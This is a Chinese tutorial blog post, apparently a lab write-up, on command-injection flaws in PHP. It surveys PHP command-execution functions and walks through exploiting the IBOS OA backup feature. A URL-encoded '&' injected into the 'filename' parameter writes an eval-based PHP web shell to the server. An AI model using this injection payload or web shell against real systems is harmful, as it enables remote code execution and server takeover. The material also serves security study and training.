命令执行漏洞

命令执行漏洞原理

用户输入的数据被当作系统命令执行(cmd命令、bash命令)
cmd命令写文件:
echo ‘<?php ?>’ > 1.php

命令执行函数

1、system()自动输出多行、可执行多条命令

例:system('ipconfig%26whoami'),想要执行多条命令,就需要&符号,在url传命令需要url编码,或者直接写|

2、exec()需要手动输出、只能输出最后一行

例:echo exec('whoami')、如果想要输出多行,就需要写文件,exec('ipconfig > 1.txt')

3、shell_exec()需要手动输出,能输出多行

例:echo shell_exec('ipconfig')

4、passthru()自动输出、可以输出多行
例:passthru(‘ipconfig’)

5、反引号`、反引号其实就是调用的shell_exec

例:echo `ipconfig`

6、popen(要执行的命令,参数),r是只读、w是写入
这个执行返回的是一个文件指针,需要fread来读取返回值

例:$a = popen('whoami',r);
echo fread($a,1024);

靶场实战

IBOSOA协同办公系统
我们全局搜索shell_exec
在这里插入图片描述
我们看第二个

shell_exec("{$mysqlBin}mysqldump --force --quick
$command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" 
$command5 --user=\"{$db["username"]}\" --password=\"
{$db["password"]}\" \"{$db["dbname"]}\" 
$tablesstr > $dumpFile");//mysqldump 备份导出函数,--force是mysqldump的一个参数,表示遇到错误会继续执行,--quick用于转储大的表
//--host数据库连接地址、--user用户名、--password密码
//这段代码的意思就是说找哪个数据库,找哪个文件,然后备份

如果能控制$dumpFile,那么我们就可以进行命令执行,
在这里插入图片描述

我们搜索$dumofile

$dumpFile = $backupFileName . "-%s.sql";

搜索$backupFileName

$backupFileName = self::BACKUP_DIR . "/" . 
core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
//str_replace()查找并替换字符串,str_replace(要查找的值,要替换的值,被搜索的字符串)

所以我们现在来找$fileName

$fileName = core\utils\Env::getRequest("filename");
//获取filename的REQUEST传参

我们在备份这个地方选择系统MYSQL备份,抓包,然后改掉filename的传参
在这里插入图片描述
这里的&需要url编码,本地生成了123这个文件
在这里插入图片描述
这里的&符号生效了,那么意味着我们可以命令执行了,我们抓包,将filename后面的值改为666%26echo “<?php eval($_REQUEST[8])?>” >66.php %26888,因为前面过滤了.这个符号,没有点,这个php文件就没办法写入,这里要么找文件包含漏洞,要么找一个东西代替点
这里推荐一个学长的干货文章
https://bbs.zkaq.cn/t/4557.html
在这里插入图片描述
点有了,直接上马
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值